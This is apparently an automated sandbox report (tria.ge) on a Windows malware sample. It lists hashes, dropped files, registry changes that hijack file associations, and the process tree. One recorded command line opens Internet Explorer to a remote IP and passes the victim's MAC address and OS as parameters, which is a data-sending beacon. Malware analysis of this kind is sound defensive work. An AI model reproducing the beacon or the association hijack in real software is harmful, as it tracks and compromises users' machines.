Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Analysis
-
max time kernel
130s -
max time network
174s -
platform
windows7_x64 -
resource
win7-20220812-en -
resource tags
arch:x64arch:x86image:win7-20220812-enlocale:en-usos:windows7-x64system -
submitted
07/11/2022, 18:09
Behavioral task
behavioral1
Sample
8803da0b41ee7eb17d8deacf64e7cd9e38ac9ddc605b610f8c86f4f7c669ca86.exe
Resource
win7-20220812-en
windows7-x64
9 signatures
150 seconds
Behavioral task
behavioral2
Sample
8803da0b41ee7eb17d8deacf64e7cd9e38ac9ddc605b610f8c86f4f7c669ca86.exe
Resource
win10v2004-20220812-en
windows10-2004-x64
10 signatures
150 seconds
General
-
Target
8803da0b41ee7eb17d8deacf64e7cd9e38ac9ddc605b610f8c86f4f7c669ca86.exe
-
Size
55KB
-
MD5
03e30f2fb04ddfc99eaaf91ecd8bdbc4
-
SHA1
c49c7512deab17ab726114e8dd7fa13e7938823b
-
SHA256
8803da0b41ee7eb17d8deacf64e7cd9e38ac9ddc605b610f8c86f4f7c669ca86
-
SHA512
e78b124943697e4fd28be2df863dff26a28eaf6261210f35f438859edbf529fda135176a5ae3815dc45819185210ea97e1057a20f834025b267c8cec53649a15
-
SSDEEP
1536:zaREAVLhLiM/xhfMLzaLa6hIAsdxn6sM0TZMl9V/:wvLJTphfKp6hIAsdxn6sM0TZMl9V/
Score
8/10
Malware Config
Signatures
-
resource yara_rule behavioral1/memory/1744-55-0x0000000000400000-0x0000000000426000-memory.dmp upx behavioral1/memory/1744-56-0x0000000000400000-0x0000000000426000-memory.dmp upx -
Drops file in Program Files directory 2 IoCs
description ioc Process File created C:\Program Files\Thunder\Update.exe 8803da0b41ee7eb17d8deacf64e7cd9e38ac9ddc605b610f8c86f4f7c669ca86.exe File opened for modification C:\Program Files\Thunder\Update.exe 8803da0b41ee7eb17d8deacf64e7cd9e38ac9ddc605b610f8c86f4f7c669ca86.exe -
Drops file in Windows directory 1 IoCs
description ioc Process File created C:\WINDOWS\Downloaded Program Files\Update.exe 8803da0b41ee7eb17d8deacf64e7cd9e38ac9ddc605b610f8c86f4f7c669ca86.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
description ioc Process Key created \REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery iexplore.exe Set value (data) \REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\LastProcessed = f0018db575f3d801 iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\LowRegistry iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\PageSetup iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\Toolbar iexplore.exe Set value (data) \REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\Toolbar\WebBrowser\ITBarLayout = 110000005c00000000000000340000001f0000006e00000001000000a0060000a00f000005000000220400002600000002000000a1060000a00f000004000000a10000000f02000003000000a10200003b000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 8803da0b41ee7eb17d8deacf64e7cd9e38ac9ddc605b610f8c86f4f7c669ca86.exe Set value (str) \REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running" iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\FileNames\ iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\IntelliForms iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\LowRegistry\DOMStorage iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\DomainSuggestion iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\LowRegistry\DontShowMeThisDialogAgain iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\Toolbar\WebBrowser iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NTPFirstRun = "1" iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\BrowserEmulation\LowMic iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\GPU iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\InternetRegistry iexplore.exe Set value (data) \REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\DecayDateQueue = 01000000d08c9ddf0115d1118c7a00c04fc297eb0100000062e6ef0d45f4454ab79548c962d74cdf00000000020000000000106600000001000020000000482aeceb2a96bcf539cd360704e5cbc1bb5c6b1c1f9697d12f7f92583d9553a3000000000e80000000020000200000007eb255e1aab69da20c3a2e8eed40bf5b2a4e320c07943af8612caf959b7479d2200000003031c70f79957b8b68a0f0ebd0dbada8b0f2f235035076595ca0b2720915808840000000a102f53291a82bb1d9d3b9e9971e1671cdef83a511a750cfca72db61688dd8648bbe5dc5c30fa42f66499b34f6c577c948223745787de197bcdc9f4500bfd85c iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\Zoom iexplore.exe Set value (data) \REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\Main\Window_Placement = 2c0000000200000003000000ffffffffffffffffffffffffffffffff2400000024000000aa04000089020000 iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "0" iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\IETld\LowMic iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch iexplore.exe Set value (str) \REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\Main\FullScreen = "no" iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage iexplore.exe Set value (str) \REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\FileNames\en-US = "en-US.1" iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\Main\Frist 8803da0b41ee7eb17d8deacf64e7cd9e38ac9ddc605b610f8c86f4f7c669ca86.exe Key created \REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\Toolbar\WebBrowser 8803da0b41ee7eb17d8deacf64e7cd9e38ac9ddc605b610f8c86f4f7c669ca86.exe Key created \REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\Main iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\NextUpdateDate = "374678897" iexplore.exe Set value (data) \REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\MFV = 01000000d08c9ddf0115d1118c7a00c04fc297eb0100000062e6ef0d45f4454ab79548c962d74cdf000000000200000000001066000000010000200000000d334fb023a7086b04cc29d4b1eee0345fbbfdf7d4c983e1234d189c761d191c000000000e8000000002000020000000068cf9d1f57046df2a3ba832ea8d229308c998fcd6e3df9349d7e3ddc8127695900000007de5ad6dfda03d2628d1311e572c403eb1405fda03e2dc0891f5d9e91d5c31be00e54c8fa6f42fe56b152da14007b397c3351f64186e7ce42027ee0f4df0ed29798b3e6f89c5dcba86fd724ec2a403e03d280c0644016bf5fb2d0cbf708a1e5fe9092d7e2b9c75935f67db8ead5e323da02bf7a24dce814d43930643aaf4431ea340b350229dac23e5eefc5fcd1f54c44000000025e613ea287c96188291aadecc73579df89f636920a38bf13e3fb507798fa022c29e6579ffa0daeac204ba41895134b814f7e7f2f027ace7c6c89fe97059a099 iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0" iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive\{BBDE50E1-5F68-11ED-8FA4-466E2F293893} = "0" iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\Main IEXPLORE.EXE Set value (data) \REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\Toolbar\WebBrowser\ITBar7Layout = 130000000000000000000000300000001400000016000000010000000007000080010000030000000103000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 8803da0b41ee7eb17d8deacf64e7cd9e38ac9ddc605b610f8c86f4f7c669ca86.exe Key created \REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\FileNames iexplore.exe -
Modifies registry class 11 IoCs
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Classes\anifile\ScriptEngine 8803da0b41ee7eb17d8deacf64e7cd9e38ac9ddc605b610f8c86f4f7c669ca86.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\anifile\shell 8803da0b41ee7eb17d8deacf64e7cd9e38ac9ddc605b610f8c86f4f7c669ca86.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\anifile\ScriptEngine\ = "JScript.Encode" 8803da0b41ee7eb17d8deacf64e7cd9e38ac9ddc605b610f8c86f4f7c669ca86.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\fonfile\DefaultIcon\ = "C:\\Program Files (x86)\\Internet Explorer\\iexplore.exe" 8803da0b41ee7eb17d8deacf64e7cd9e38ac9ddc605b610f8c86f4f7c669ca86.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\fonfile\ScriptEngine\ = "JScript.Encode" 8803da0b41ee7eb17d8deacf64e7cd9e38ac9ddc605b610f8c86f4f7c669ca86.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\anifile\shell\open 8803da0b41ee7eb17d8deacf64e7cd9e38ac9ddc605b610f8c86f4f7c669ca86.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\anifile\shell\open\command 8803da0b41ee7eb17d8deacf64e7cd9e38ac9ddc605b610f8c86f4f7c669ca86.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\anifile\DefaultIcon\ = "C:\\WINDOWS\\Downloaded Program Files\\game.ico" 8803da0b41ee7eb17d8deacf64e7cd9e38ac9ddc605b610f8c86f4f7c669ca86.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\anifile\shell\open\command\ = "C:\\Program Files\\Thunder\\Update.exe \"%1\" %*" 8803da0b41ee7eb17d8deacf64e7cd9e38ac9ddc605b610f8c86f4f7c669ca86.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\fonfile\ScriptEngine 8803da0b41ee7eb17d8deacf64e7cd9e38ac9ddc605b610f8c86f4f7c669ca86.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\fonfile 8803da0b41ee7eb17d8deacf64e7cd9e38ac9ddc605b610f8c86f4f7c669ca86.exe -
Suspicious use of FindShellTrayWindow 1 IoCs
pid Process 840 iexplore.exe -
Suspicious use of SetWindowsHookEx 6 IoCs
pid Process 840 iexplore.exe 840 iexplore.exe 932 IEXPLORE.EXE 932 IEXPLORE.EXE 932 IEXPLORE.EXE 932 IEXPLORE.EXE -
Suspicious use of WriteProcessMemory 8 IoCs
description pid Process procid_target PID 1744 wrote to memory of 840 1744 8803da0b41ee7eb17d8deacf64e7cd9e38ac9ddc605b610f8c86f4f7c669ca86.exe 28 PID 1744 wrote to memory of 840 1744 8803da0b41ee7eb17d8deacf64e7cd9e38ac9ddc605b610f8c86f4f7c669ca86.exe 28 PID 1744 wrote to memory of 840 1744 8803da0b41ee7eb17d8deacf64e7cd9e38ac9ddc605b610f8c86f4f7c669ca86.exe 28 PID 1744 wrote to memory of 840 1744 8803da0b41ee7eb17d8deacf64e7cd9e38ac9ddc605b610f8c86f4f7c669ca86.exe 28 PID 840 wrote to memory of 932 840 iexplore.exe 30 PID 840 wrote to memory of 932 840 iexplore.exe 30 PID 840 wrote to memory of 932 840 iexplore.exe 30 PID 840 wrote to memory of 932 840 iexplore.exe 30
Processes
-
C:\Users\Admin\AppData\Local\Temp\8803da0b41ee7eb17d8deacf64e7cd9e38ac9ddc605b610f8c86f4f7c669ca86.exe"C:\Users\Admin\AppData\Local\Temp\8803da0b41ee7eb17d8deacf64e7cd9e38ac9ddc605b610f8c86f4f7c669ca86.exe"1⤵
- Drops file in Program Files directory
- Drops file in Windows directory
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:1744 -
C:\Program Files\Internet Explorer\iexplore.exe"C:\Windows\system32\..\..\Program Files\Internet Explorer\iexplore.exe" http://58.218.198.119:8080/count.asp?mac=46-6e-2f-29-38-93&os=Microsoft Windows XP&flag=8b6813addf474462a38302b6ee4f21d1&user=8803da0b41ee7eb17d8deacf64e7cd9e38ac9ddc605b610f8c86f4f7c669ca862⤵
- Modifies Internet Explorer settings
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:840 -
C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:840 CREDAT:275457 /prefetch:23⤵
- Modifies Internet Explorer settings
- Suspicious use of SetWindowsHookEx
PID:932
-
-
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
608B
MD592df9a3161b864b00e506af6650898ff
SHA1e8dbb313eeba110687c6075a76ec8addb6a49362
SHA256c3d3bece012a5f5b49e5eee97dd93b5b2d5dbd768fd2909dee2e99d16bf4830e
SHA512791822c1c6cb36e15d49b27f9bfd931207ef38265ae4232615689af76c83c2321fa278d11fdbba004583cb3ab5ce5c08ad198992e6584777283ffe3ee5d859b0